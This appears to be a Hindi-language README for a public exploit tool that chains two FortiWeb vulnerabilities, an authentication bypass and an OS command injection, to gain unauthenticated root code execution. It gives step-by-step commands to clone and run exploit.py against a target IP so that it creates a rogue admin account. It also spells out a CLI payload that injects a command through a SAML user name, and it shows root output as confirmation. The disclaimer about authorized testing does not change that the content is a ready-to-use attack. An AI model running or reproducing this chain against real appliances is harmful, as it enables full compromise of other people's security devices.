
FortiWeb Remote Code Execution (RCE) Exploit via CVE-2025-64446 + CVE-2025-58034 Chain
यह स्क्रिप्ट Fortinet FortiWeb में दो महत्वपूर्ण कमजोरियों को जोड़ती है ताकि अनधिकृत रिमोट कोड निष्पादन को root विशेषाधिकारों के साथ प्राप्त किया जा सके:
CVE-2025-64446 – सापेक्ष पथ ट्रैवर्सल के माध्यम से प्रमाणीकरण बाईपास
एक अनधिकृत हमलावर को प्रमाणीकरण को बायपास करने और एक नया प्रशासनिक खाता बनाने की अनुमति देता है।
CVE-2025-58034 – प्रमाणित OS कमांड इंजेक्शन
एक प्रमाणित हमलावर (चरण 1 में बनाए गए खाते का उपयोग करके) विशेष रूप से तैयार किए गए HTTP अनुरोधों के माध्यम से root के रूप में मनमाने OS कमांड निष्पादित कर सकता है।
इन दो कमजोरियों को मिलाकर, एक हमलावर बिना किसी पूर्व क्रेडेंशियल के शून्य पहुंच से पूर्ण सिस्टम समझौता तक पहुंच सकता है।
अंतिम प्रभाव: अनधिकृत रिमोट कोड निष्पादन (root शेल समतुल्य)
संयुक्त हमला श्रृंखला:
रिपॉजिटरी क्लोन करें:
git clone https://github.com/lincemorado97/CVE-2025-64446_CVE-2025-58034
cd CVE-2025-64446_CVE-2025-58034
निर्भरताएं स्थापित करें:
pip install -r requirements.txt
पूर्ण शोषण चलाएं (एडमिन बनाएं + कमांड निष्पादित करें):
python exploit.py <target_ip> [-u <username>] [-p <password>]
<target_ip>: कमजोर FortiWeb उपकरण का IP पता या होस्टनाम। यह एक आवश्यक तर्क है।-u <username> (वैकल्पिक): बनाए गए प्रशासनिक खाते के लिए कस्टम उपयोगकर्ता नाम निर्दिष्ट करें। यदि प्रदान नहीं किया गया है, तो एक UUID का उपयोग किया जाएगा।-p <password> (वैकल्पिक): बनाए गए प्रशासनिक खाते के लिए कस्टम पासवर्ड निर्दिष्ट करें। यदि प्रदान नहीं किया गया है, तो उपयोगकर्ता नाम को पासवर्ड के रूप में उपयोग किया जाएगा।उदाहरण:
python exploit.py 192.168.1.100 -u admin123 -p password456
यह लक्ष्य उपकरण 192.168.1.100 पर उपयोगकर्ता नाम "admin123" और पासवर्ड "password456" के साथ एक प्रशासनिक खाता बनाने का प्रयास करेगा।
यदि कोई उपयोगकर्ता नाम और पासवर्ड निर्दिष्ट नहीं किया गया है:
python exploit.py 192.168.1.100


नवनिर्मित प्रशासनिक खाते से सफलतापूर्वक लॉग इन करने के बाद, एक हमलावर विशेष रूप से तैयार किए गए अनुरोधों या सीधे FortiWeb CLI के माध्यम से प्रमाणित कमांड इंजेक्शन कमजोरी का शोषण कर सकता है।
एक विश्वसनीय शोषण विधि निम्नलिखित CLI कमांड का उपयोग करना है (प्रमाणीकरण के बाद FortiWeb कमांड-लाइन इंटरफेस से निष्पादित):
config user saml-user
edit "`<YOUR COMMAND>`"
set entityID http://foo
set service-path /foo
set enforce-signing disable
set slo-bind post
set slo-path /foo
set sso-bind post
set sso-path /foo
end

निष्पादन के बाद:
uid=0(root) gid=0(root) root RCE की पुष्टि करता है)अस्वीकरण: यह उपकरण केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। उन सिस्टमों के खिलाफ अनधिकृत उपयोग जिनके आप मालिक नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति नहीं है, अवैध है।
स्क्रिप्ट उपयोगकर्ता नाम के लिए एक यादृच्छिक UUID उत्पन्न करेगी और इसे पासवर्ड के रूप में उपयोग करेगी।